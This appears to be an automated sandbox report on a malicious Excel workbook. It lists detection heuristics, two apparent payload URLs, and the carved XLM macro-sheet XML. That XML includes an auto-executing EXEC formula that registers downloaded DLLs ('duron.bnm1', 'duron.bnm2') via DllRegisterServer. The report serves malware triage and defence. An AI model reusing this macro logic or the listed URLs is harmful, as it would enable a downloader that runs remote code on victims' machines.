MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
This Office spreadsheet was flagged as malicious. The file contains an auto-executing XLM macro sheet. Specific URLs and indicators for this sample are listed in the indicators section.
Heuristics 6
-
Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
-
Dangerous XLM formula APIs: EXEC, HALT, FORMULA, WORKBOOK.HIDE, CALL critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://immobiliareneri.casa/drms/ind.html In document text (OOXML body / shared strings)
- https://gidbasket.com/drms/ind.htmlIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml | 3454 bytes |
SHA-256: 7d118572f5fe7d6ff43ed02ebd45ba65e8abef406e7a780baf6c364273fc6add |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ4:AQ20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="36" max="43" width="5" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="36:43" x14ac:dyDescent="0.25"><c r="AO4" s="2"/><c r="AP4" s="1" t="s"><v>0</v></c><c r="AQ4" s="1" t="s"><v>1</v></c></row><row r="5" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ5" s="1" t="b"><f>654984654984+1694894654=EXEC(Sheet2!AM34&"..\duron.bnm1"&",DllRegisterServer")=654984654984+1694894654=EXEC(Sheet2!AM34&"..\duron.bnm2"&",DllRegisterServer")</f><v>0</v></c><c r="AO5" s="2"/><c r="AP5" s="1" t="s"><v>2</v></c><c r="AQ5" s="1" t="s"><v>1</v></c></row><row r="6" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ6" s="1"/><c r="AP6" s="1" t="s"><v>3</v></c><c r="AQ6" s="1" t="s"><v>4</v></c></row><row r="7" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ7" s="1"/><c r="AO7" s="2"/><c r="AP7" s="1" t="s"><v>5</v></c><c r="AQ7" s="1" t="s"><v>4</v></c></row><row r="8" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ8" s="1"/><c r="AO8" s="2"/><c r="AP8" s="1" t="s"><v>6</v></c><c r="AQ8" s="1" t="s"><v>7</v></c></row><row r="9" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ9" s="1"/><c r="AO9" s="2"/><c r="AP9" s="1" t="s"><v>8</v></c><c r="AQ9" s="1" t="s"><v>7</v></c></row><row r="10" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ10" s="1"/><c r="AO10" s="1"/><c r="AP10" s="1" t="s"><v>9</v></c><c r="AQ10" s="1"/></row><row r="11" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ11" s="1" t="b"><f>HALT()</f><v>1</v></c><c r="AO11" s="1"/><c r="AP11" s="1" t="s"><v>10</v></c><c r="AQ11" s="1"/></row><row r="12" spans="36:43" x14ac:dyDescent="0.25"><c r="AO12" s="1"/><c r="AP12" s="1" t="s"><v>6</v></c><c r="AQ12" s="1"/></row><row r="13" spans="36:43" x14ac:dyDescent="0.25"><c r="AO13" s="1"/><c r="AP13" s="1" t="s"><v>11</v></c><c r="AQ13" s="1"/></row><row r="14" spans="36:43" x14ac:dyDescent="0.25"><c r="AO14" s="1"/><c r="AP14" s="1" t="s"><v>12</v></c><c r="AQ14" s="1"><v>0</v></c></row><row r="15" spans="36:43" x14ac:dyDescent="0.25"><c r="AO15" s="1"/><c r="AP15" s="1" t="s"><v>13</v></c><c r="AQ15" s="1"/></row><row r="16" spans="36:43" x14ac:dyDescent="0.25"><c r="AO16" s="1"/><c r="AP16" s="1" t="s"><v>6</v></c><c r="AQ16" s="1"/></row><row r="17" spans="41:43" x14ac:dyDescent="0.25"><c r="AO17" s="1"/><c r="AP17" s="1" t="s"><v>14</v></c><c r="AQ17" s="1"/></row><row r="18" spans="41:43" x14ac:dyDescent="0.25"><c r="AO18" s="1"/><c r="AP18" s="1" t="s"><v>15</v></c><c r="AQ18" s="1"/></row><row r="19" spans="41:43" x14ac:dyDescent="0.25"><c r="AO19" s="1"/><c r="AP19" s="1" t="s"><v>10</v></c><c r="AQ19" s="1"/></row><row r="20" spans="41:43" x14ac:dyDescent="0.25"><c r="AO20" s="1"/><c r="AP20" s="1" t="s"><v>16</v></c><c r="AQ20" s="1"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet> |
|||
xlm_sheet_01.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml | 205673 bytes |
SHA-256: fbe5e7dbb69c9673a292262e360301ab1ec7a303eb74e3af592196e67c71385f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 shell/COM execution token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A1:BW283"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="39" width="5" style="2"/><col min="40" max="40" width="5" style="2" customWidth="1"/><col min="41" max="48" width="5" style="2" hidden="1" customWidth="1"/><col min="49" max="16384" width="5" style="2"/></cols><sheetData><row r="1" spans="1:41" x14ac:dyDescent="0.25"><c r="A1" s="1"/><c r="B1" s="1"/><c r="C1" s="1"/><c r="D1" s="1"/><c r="E1" s="1"/><c r="F1" s="1"/><c r="G1" s="1"/><c r="H1" s="1"/><c r="I1" s="1"/><c r="J1" s="1"/><c r="K1" s="1"/><c r="L1" s="1"/><c r="M1" s="1"/><c r="N1" s="1"/><c r="O1" s="1"/><c r="P1" s="1"/><c r="Q1" s="1"/><c r="R1" s="1"/><c r="S1" s="1"/><c r="T1" s="1"/><c r="U1" s="1"/><c r="V1" s="1"/><c r="W1" s="1"/><c r="X1" s="1"/><c r="Y1" s="1"/><c r="Z1" s="1"/><c r="AA1" s="1"/><c r="AB1" s="1"/><c r="AC1" s="1"/><c r="AD1" s="1"/><c r="AE1" s="1"/><c r="AF1" s="1"/><c r="AG1" s="1"/><c r="AH1" s="1"/><c r="AI1" s="1"/><c r="AJ1" s="1"/></row><row r="2" spans="1:41" x14ac:dyDescent="0.25"><c r="A2" s="1"/><c r="B2" s="1"/><c r="C2" s="1"/><c r="D2" s="1"/><c r="E2" s="1"/><c r="F2" s="1"/><c r="G2" s="1"/><c r="H2" s="1"/><c r="I2" s="1"/><c r="J2" s="1"/><c r="K2" s="1"/><c r="L2" s="1"/><c r="M2" s="1"/><c r="N2" s="1"/><c r="O2" s="1"/><c r="P2" s="1"/><c r="Q2" s="1"/><c r="R2" s="1"/><c r="S2" s="1"/><c r="T2" s="1"/><c r="U2" s="1"/><c r="V2" s="1"/><c r="W2" s="1"/><c r="X2" s="1"/><c r="Y2" s="1"/><c r="Z2" s="1"/><c r="AA2" s="1"/><c r="AB2" s="1"/><c r="AC2" s="1"/><c r="AD2" s="1"/><c r="AE2" s="1"/><c r="AF2" s="1"/><c r="AG2" s="1"/><c r="AH2" s="1"/><c r="AI2" s="1"/><c r="AJ2" s="1"/></row><row r="3" spans="1:41" x14ac:dyDescent="0.25"><c r="A3" s="1"/><c r="B3" s="1"/><c r="C3" s="1"/><c r="D3" s="1"/><c r="E3" s="1"/><c r="F3" s="1"/><c r="G3" s="1"/><c r="H3" s="1"/><c r="I3" s="1"/><c r="J3" s="1"/><c r="K3" s="1"/><c r="L3" s="1"/><c r="M3" s="1"/><c r="N3" s="1"/><c r="O3" s="1"/><c r="P3" s="1"/><c r="Q3" s="1"/><c r="R3" s="1"/><c r="S3" s="1"/><c r="T3" s="1"/><c r="U3" s="1"/><c r="V3" s="1"/><c r="W3" s="1"/><c r="X3" s="1"/><c r="Y3" s="1"/><c r="Z3" s="1"/><c r="AA3" s="1"/><c r="AB3" s="1"/><c r="AC3" s="1"/><c r="AD3" s="1"/><c r="AE3" s="1"/><c r="AF3" s="1"/><c r="AG3" s="1"/></row><row r="4" spans="1:41" x14ac:dyDescent="0.25"><c r="A4" s="1"/><c r="B4" s="1"/><c r="C4" s="1"/><c r="D4" s="1"/><c r="E4" s="1"/><c r="F4" s="1"/><c r="G4" s="1"/><c r="H4" s="1"/><c r="I4" s="1"/><c r="J4" s="1"/><c r="K4" s="1"/><c r="L4" s="1"/><c r="M4" s="1"/><c r="N4" s="1"/><c r="O4" s="1"/><c r="P4" s="1"/><c r="Q4" s="1"/><c r="R4" s="1"/><c r="S4" s="1"/><c r="T4" s="1"/><c r="U4" s="1"/><c r="V4" s="1"/><c r="W4" s="1"/><c r="X4" s="1"/><c r="Y4" s="1"/><c r="Z4" s="1"/><c r="AA4" s="1"/><c r="AB4" s="1"/><c r="AC4" s="1"/><c r="AD4" s="1"/><c r="AE4" s="1"/><c r="AF4" s="1"/><c r="AG4" s="1"/></row><row r="5" spans="1:41" x14ac:dyDescent="0.25"><c r="A5" s="1"/><c r="B5" s="1"/><c r="C5" s="1"/><c r="D5" s="1"/><c r="E5" s="1"/><c r="F5" s="1"/><c r="G5" s="1"/><c r="H5" s="1"/><c r="I5" s="1"/><c r="J5" s="1"/><c r="K5" s="1"/><c r="L5" s="1"/><c r="M5" s="1"/><c r="N5" s="1"/><c r="O5" s="1"/><c r="P5" s="1"/><c r="Q5" s="1"/><c r="R5" s="1"/><c r="S5" s="1"/><c r="T5" s="1"/><c r="U5" s="1"/><c r="V5" s="1"/><c r="W5" s="1"/><c r="X5" s="1"/><c r="Y5" s="1"/><c r="Z5" s="1"/><c r="AA5" s="1"/><c r="AB5" s="1"/><c r="AC5" s="1"/><c r="AD5" s="1"/><c r="AE5" s="1"/><c r="AF5" s="1"/><c r="AG5" s=" ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.